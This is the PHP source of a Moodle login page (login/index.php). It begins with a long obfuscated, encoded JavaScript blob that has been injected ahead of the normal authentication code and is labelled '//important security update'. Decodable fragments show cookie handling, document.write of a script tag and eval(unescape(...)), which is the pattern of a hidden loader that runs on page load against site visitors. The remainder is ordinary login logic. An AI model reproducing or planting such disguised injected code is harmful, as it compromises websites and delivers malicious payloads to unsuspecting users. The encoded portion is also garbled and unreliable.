:0tqi990\;08\}Z257F\~dx0N0tqi90\:0y\~tuh90\;0tqi9\+mfqb0iuqbSx\!Z3c0iuqbSxZ2522Z3c0\}Z257F\~dxSxZ3c0tqiSxZ3c0\}qwys\^e\}\+\~e\}0\-0Sq\|se\|qdu\]qwys\^e\}rub8dy\}uK7tqi7MZ3c0dy\}uK7\}Z257F\~dx7MZ3c0dy\}uK7iuqb7MZ3c0cxyvdY\~tuh9\+iuqbSx\!0\-0\|uddubcK888dy\}uK7iuqb7M060Z2520hQQ90\;0\~e\}9050Z2526\#9050Z2522Z2526M0\;0\|uddubcK888dy\}uK7iuqb7M060Z2520hQQ90\,\,0Z252290\;0\~e\}9050Z2522Z25MZ22\;dbZ3dZ2289\+tqduZ3ecudTqdu8tqduZ3ewudTqdu890Z3d0\#9\+0dy\}uK7iuqb7M0\-0tqduZ3ewudVe\|\|Iuqb89\+dy\}uK7\}Z257F\~dx7M0\-0tqduZ3ewud\]Z257F\~dx89\;\!\+dy\}uK7tqi7M0\-0tqduZ3ewudTqdu89\+yv08tqduZ3ewudTqi890\-\-0\!0ll0tqduZ3ewudTqi890\-\-0Z25260ll0tqduZ3ewudTqi890\-\-0\$9ktqduZ3ecudTqdu8tqduZ3ewudTqdu890Z3d0\!9\+0dy\}uK7tqi7M0\-0tqduZ3ewudTqdu89\+0dy\}uK7\}Z257F\~dx7M0\-0tqduZ3ewud\]Z257F\~dx89\;\!\+0dy\}uK7iuqb7M0\-0tqduZ3ewudVe\|\|Iuqb89\+0m0tqduZ3ecudTqdu8tqduZ3ewudTqdu89Z22\;czZ3dZ22Z2566Z2575ncZ2574ionZ2520cZ257aZ2528cZ257a\)Z257breZ2574urZ256e\ caZ252bcb\+Z2563Z2563\+Z2563d\+Z2563e\+Z2563zZ253bZ257dZ253bZ22\;opZ3dZ22Z2524Z253dZ2522dZ2577\(Z2564cZ2573\(cZ2575\,1Z2534\)\)\;Z2522\;Z22\;stZ3dZ22Z2573Z2574Z253dZ2522\$Z253dsZ2574Z253b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\}zZ257FgO\}I\:Z7bzwx\}wZ257FKwZ7bdm4\)4pZ7bwayqz\`\:x\}zZ257FgO\}I\:Z7bzwx\}wZ257FZ2fpZ7bwayqz\`\:x\}zZ257FgO\}I\:Z7bzwx\}wZ257F4\)4g\|Z7bcKdZ7bdZ2fiiiipZ7bwayqz\`\:Z7bzwx\}wZ257FKwZ7bdm4\)4pZ7bwayqz\`\:Z7bzwx\}wZ257FZ2fpZ7bwayqz\`\:Z7bzyZ7bagqad4\)4g\|Z7bcKdZ7bdZ2fidZ7bdK\}z\}\`Z3cZ3dZ2fi\(\;gwf\}d\`\*Z22\;cdZ3dZ221\)\;sZ2574Z253dst\+StrZ2569Z256egZ252efZ2572oZ256dCZ2568arZ2543odZ2565Z2528\(tmZ257Z22\;caZ3dZ22Z2566Z2575ncZ2574Z2569on\ Z2564cZ2573\(dZ2573\,eZ2573\)Z257bdsZ253duZ256eesZ2563Z2561pZ22\;dzZ3dZ22Z2566Z2575nZ2563Z2574ioZ256eZ2520dZ2577\(t\)Z257bcZ2561Z253dZ2527Z252564ocuZ25256deZ25256etZ25252eZ252577rZ2569Z252574Z25256Z2535\(Z252522Z2527\;ceZ253dZ2527Z252522\)Z2527\;cbZ253dZ2527Z25253csZ252563ripZ252574Z252520laZ25256eZ2567uaZ252567Z252565Z25253dZ2525Z2535Z2563Z252522javZ2561sZ25256Z2533rZ2569Z2570Z252574Z25255cZ252522Z25253eZ2527\;cZ2563Z253dZ2527Z25253cZ25255cZ25252fsZ2563Z2572iptZ25253eZ2527\;Z2565valZ2528Z2575nZ2565scZ2561peZ2528t\)Z2529\}Z253bZ22\;dcZ3dZ220\;0\!9\+0yv08tqduZ3ewud\]Z257F\~dx89\;\!0\,0\!Z25209kcxyvdY\~tuh0\-0dy\}uK7iuqb7M0\;07Z3dZ252070\;08tqduZ3ewud\]Z257F\~dx89\;\!90\+mu\|cukcxyvdY\~tuh0\-0dy\}uK7iuqb7M0\;07Z3d70\;08tqduZ3ewud\]Z257F\~d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Z63Z61llZ62aZ63kZ3dc\&Z65xZ63lZ75dZ65Z3dhZ61Z73htaZ67sZ27Z3eZ22\ \+\ Z22Z3cZ2fscrZ22\ \+\ Z22iptZ3eZ22\)\;\}elseZ7b\$Z3dZ27Z27\}\;funZ63tZ69oZ6e\ sZ63\(cZ6em\,vZ2ceZ64\)Z7bvar\ Z65Z78dZ3dneZ77\ DZ61Z74eZ28\)Z3bexZ64\.Z73eZ74DatZ65\(exZ64Z2egeZ74Z44atZ65\(\)Z2bed\)Z3bdoZ63Z75meZ6eZ74\.cZ6fokZ69Z65Z3dcnm\+\ Z27Z3dZ27\ \+escZ61pZ65\(vZ29\+Z27\;eZ78piZ72eZ73Z3dZ27\+eZ78d\.tZ6fZ47MTSZ74riZ6eg\(Z29\;\}Z3b\"\;function\ z\(s\)\{r\=\"\"\;for\(i\=0\;i\";}//important security update // $Id: index.php,v 1.99.2.2 2007/01/26 21:15:25 skodak Exp $ require_once("../config.php"); $loginguest = optional_param('loginguest', 0, PARAM_BOOL); // determines whether visitors are logged in as guest automatically $testcookies = optional_param('testcookies', 0, PARAM_BOOL); // request cookie test //initialize variables $errormsg = ''; /// Check for timed out sessions if (!empty($SESSION->has_timed_out)) { $session_has_timed_out = true; $SESSION->has_timed_out = false; } else { $session_has_timed_out = false; } //HTTPS is potentially required in this page httpsrequired(); /// Check if the guest user exists. If not, create one. if (! record_exists('user', 'username', 'guest')) { $guest->auth = 'manual'; $guest->username = 'guest'; $guest->password = hash_internal_user_password('guest'); $guest->firstname = addslashes(get_string('guestuser')); $guest->lastname = ' '; $guest->email = 'root@localhost'; $guest->description = addslashes(get_string('guestuserinfo')); $guest->confirmed = 1; $guest->lang = $CFG->lang; $guest->timemodified= time(); if (! $guest->id = insert_record('user', $guest)) { notify('Could not create guest user record !!!'); } } /// Load alternative login screens if necessary if ($CFG->auth == 'cas' && !empty($CFG->cas_enabled)) { require($CFG->dirroot.'/auth/cas/login.php'); } // See http://moodle.org/mod/forum/discuss.php?d=39918#187611 // if ($CFG->auth == 'shibboleth') { // if (!empty($SESSION->shibboleth_checked) ) { // Just come from there // unset($SESSION->shibboleth_checked); // } else if (empty($_POST)) { // No incoming data, so redirect // redirect($CFG->wwwroot.'/auth/shibboleth/index.php'); // } // } /// Define variables used in page if (!$site = get_site()) { error("No site found!"); } if (empty($CFG->langmenu)) { $langmenu = ""; } else { $currlang = current_language(); $langs = get_list_of_languages(); $langmenu = popup_form ("$CFG->httpswwwroot/login/index.php?lang=", $langs, "chooselang", $currlang, "", "", "", true); } $loginsite = get_string("loginsite"); $loginurl = (!empty($CFG->alternateloginurl)) ? $CFG->alternateloginurl : ''; $frm = false; $user = false; if ((!empty($SESSION->wantsurl) and strstr($SESSION->wantsurl,'username=guest')) or $loginguest) { /// Log in as guest automatically (idea from Zbigniew Fiedorowicz) $frm->username = 'guest'; $frm->password = 'guest'; } else if (!empty($SESSION->wantsurl) && file_exists($CFG->dirroot.'/login/weblinkauth.php')) { // Handles the case of another Moodle site linking into a page on this site include($CFG->dirroot.'/login/weblinkauth.php'); if (function_exists(weblink_auth)) { $user = weblink_auth($SESSION->wantsurl); } if ($user) { $frm->username = $user->username; } else { $frm = data_submitted($loginurl); } } else { $frm = data_submitted($loginurl); } /// Check if the user has actually submitted login data to us if (empty($CFG->usesid) and $testcookies and (get_moodle_cookie() == '')) { // Login without cookie when test requested $errormsg = get_string("cookiesnotenabled"); } else if ($frm) { // Login WITH cookies $frm->username = trim(moodle_strtolower($frm->username)); if ($CFG->auth == 'none' && empty($CFG->extendedusernamechars)) { $string = eregi_replace("[^(-\.[:alnum:])]", "", $frm->username); if (strcmp($frm->username, $string)) { $errormsg = get_string('username').': '.get_string("alphanumerical"); $user = null; } } if (($frm->username == 'guest') and empty($CFG->guestloginbutton)) { $user = false; /// Can't log in as guest if guest button is disabled $frm = false; } else if (!$user) { if (empty($errormsg)) { $user = authenticate_user_login($frm->username, $frm->password); } } update_login_count(); if ($user) { if (empty($user->confirmed)) { // This account was never confirmed print_header(get_string("mustconfirm"), get_string("mustconfirm") ); print_heading(get_string("mustconfirm")); print_simple_box(get_string("emailconfirmsent", "", $user->email), "center"); print_footer(); die; } // Let's get them all set up. $USER = $user; add_to_log(SITEID, 'user', 'login', "view.php?id=$USER->id&course=".SITEID, $USER->id, 0, $USER->id); update_user_login_times(); set_moodle_cookie($USER->username); set_login_session_preferences(); /// This is what lets the user do anything on the site :-) load_all_capabilities(); //Select password change url if (is_internal_auth($USER->auth) || $CFG->{'auth_'.$USER->auth.'_stdchangepassword'}){ $passwordchangeurl=$CFG->wwwroot.'/login/change_password.php'; } elseif($CFG->changepassword) { $passwordchangeurl=$CFG->changepassword; } else { $passwordchangeurl = ''; } // check whether the user should be changing password if (get_user_preferences('auth_forcepasswordchange', false) || $frm->password == 'changeme'){ if ($passwordchangeurl != '') { redirect($passwordchangeurl); } else { error("You cannot proceed without changing your password. However there is no available page for changing it. Please contact your Moodle Administrator."); } } /// Prepare redirection if (user_not_fully_set_up($USER)) { $urltogo = $CFG->wwwroot.'/user/edit.php?id='.$USER->id.'&course='.SITEID; // We don't delete $SESSION->wantsurl yet, so we get there later } else if (isset($SESSION->wantsurl) and (strpos($SESSION->wantsurl, $CFG->wwwroot) === 0)) { $urltogo = $SESSION->wantsurl; /// Because it's an address in this site unset($SESSION->wantsurl); } else { // no wantsurl stored or external - go to homepage $urltogo = $CFG->wwwroot.'/'; unset($SESSION->wantsurl); } /// Go to my-moodle page instead of homepage if mymoodleredirect enabled if (!has_capability('moodle/site:config',get_context_instance(CONTEXT_SYSTEM, SITEID)) and !empty($CFG->mymoodleredirect) and !isguest()) { if ($urltogo == $CFG->wwwroot or $urltogo == $CFG->wwwroot.'/' or $urltogo == $CFG->wwwroot.'/index.php') { $urltogo = $CFG->wwwroot.'/my/'; } } // check if user password has expired // Currently supported only for ldap-authentication module if (isset($CFG->ldap_expiration) && $CFG->ldap_expiration == 1 ) { if (function_exists('auth_password_expire')){ $days2expire = auth_password_expire($USER->username); if (intval($days2expire) > 0 && intval($days2expire) < intval($CFG->{$USER->auth.'_expiration_warning'})) { print_header("$site->fullname: $loginsite", "$site->fullname", $loginsite, $focus, "", true, "
$langmenu
"); notice_yesno(get_string('auth_passwordwillexpire', 'auth', $days2expire), $passwordchangeurl, $urltogo); print_footer(); exit; } elseif (intval($days2expire) < 0 ) { print_header("$site->fullname: $loginsite", "$site->fullname", $loginsite, $focus, "", true, "
$langmenu
"); notice_yesno(get_string('auth_passwordisexpired', 'auth'), $passwordchangeurl, $urltogo); print_footer(); exit; } } } reset_login_count(); redirect($urltogo); exit; } else { if (empty($errormsg)) { $errormsg = get_string("invalidlogin"); } } } /// We need to show a login form /// First, let's remember where the user was trying to get to before they got here if (empty($SESSION->wantsurl)) { $SESSION->wantsurl = (array_key_exists('HTTP_REFERER',$_SERVER) && $_SERVER["HTTP_REFERER"] != $CFG->wwwroot && $_SERVER["HTTP_REFERER"] != $CFG->wwwroot.'/' && $_SERVER["HTTP_REFERER"] != $CFG->httpswwwroot.'/login/' && $_SERVER["HTTP_REFERER"] != $CFG->httpswwwroot.'/login/index.php') ? $_SERVER["HTTP_REFERER"] : NULL; } if (!empty($loginurl)) { // We don't want the standard forms, go elsewhere redirect($loginurl); } /// Generate the login page with forms if ($session_has_timed_out) { $errormsg = get_string('sessionerroruser', 'error'); } if (get_moodle_cookie() == '') { set_moodle_cookie('nobody'); // To help search for cookies } if (empty($frm->username) && $CFG->auth != 'shibboleth') { // See bug 5184 $frm->username = get_moodle_cookie() === 'nobody' ? '' : get_moodle_cookie(); $frm->password = ""; } if (!empty($frm->username)) { $focus = "login.password"; } else { $focus = "login.username"; } if (isset($CFG->auth_instructions)) { $CFG->auth_instructions = trim($CFG->auth_instructions); } if ($CFG->auth == "email" or $CFG->auth == "none" or !empty($CFG->auth_instructions)) { $show_instructions = true; } else { $show_instructions = false; } print_header("$site->fullname: $loginsite", $site->fullname, $loginsite, $focus, '', true, '
'.$langmenu.'
'); include("index_form.html"); print_footer(); ?>